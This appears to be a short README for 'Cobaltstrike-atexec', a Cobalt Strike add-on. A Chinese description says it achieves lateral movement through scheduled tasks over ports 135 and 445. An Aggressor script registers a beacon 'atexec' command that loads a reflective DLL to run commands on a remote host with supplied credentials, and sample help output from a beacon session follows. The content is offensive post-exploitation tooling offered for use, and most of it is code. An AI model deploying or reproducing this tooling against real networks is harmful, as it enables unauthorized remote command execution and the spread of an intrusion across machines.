Awesome
Cobaltstrike-atexec
利用任务计划进行横向,需要与135端口、445端口进行通信
-
主要实现:如何实现一个Atexec
使用方式
$dll = "reflective_dll.dll";
beacon_command_register(
"atexec",
"atexec text to beacon log",
"Synopsis: atexec [host] [username] [password] [command] [domain]\n");
alias("atexec", {
$args = substr($0, 7);
bdllspawn($1, script_resource($dll), $args, "Atexec....", 10000, false);
blog($1, "My arguments are:" . substr($0, 7) . "\n");
});
- 在Beacon会话获得后
beacon> help atexec
Synopsis: atexec [host] [username] [password] [command] [domain]